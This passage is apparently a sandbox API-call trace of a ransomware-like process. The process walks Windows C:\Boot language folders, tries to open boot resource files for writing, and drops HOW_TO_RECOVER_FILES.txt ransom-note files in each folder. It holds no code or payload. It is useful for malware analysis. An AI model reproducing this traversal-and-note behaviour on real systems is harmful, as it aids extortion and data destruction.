ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.478] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.478] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.478] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.479] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0069.479] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0069.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.479] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.479] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x33eefe8 | out: lpFileInformation=0x33eefe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58)) returned 1 [0069.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.479] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.479] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.481] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.481] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x33ef698 | out: lpFileInformation=0x33ef698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0069.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.482] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.482] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.484] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.484] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.649] GetFileType (hFile=0x764) returned 0x1 [0069.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.649] GetFileType (hFile=0x764) returned 0x1 [0069.664] WriteFile (in: hFile=0x764, lpBuffer=0x35bdfc8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x35bdfc8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.665] CloseHandle (hObject=0x764) returned 1 [0069.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.667] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0069.667] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0069.668] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.668] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.668] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.668] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.668] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0069.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.668] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0069.668] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.669] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.669] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0069.669] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.670] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.670] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x35cfa28 | out: lpFileInformation=0x35cfa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1 [0069.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.670] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.670] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.672] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.672] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x35d00d8 | out: lpFileInformation=0x35d00d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0069.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0069.673] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0069.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0069.673] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0069.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0069.675] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0069.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0069.675] CreateFileW (lpFileName="C:\\Boot\\da-DK\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.677] GetFileType (hFile=0x764) returned 0x1 [0069.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0069.677] GetFileType (hFile=0x764) returned 0x1 [0069.678] WriteFile (in: hFile=0x764, lpBuffer=0x35d2ad8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x35d2ad8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0069.679] CloseHandle (hObject=0x764) returned 1 [0069.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.680] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0069.680] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0069.680] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.681] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0069.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0069.681] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0069.681] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0069.681] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.681] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0069.681] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0069.682] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0069.682] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0069.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0069.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0069.682] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0069.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0069.682] GetFileAttributesExW (in: 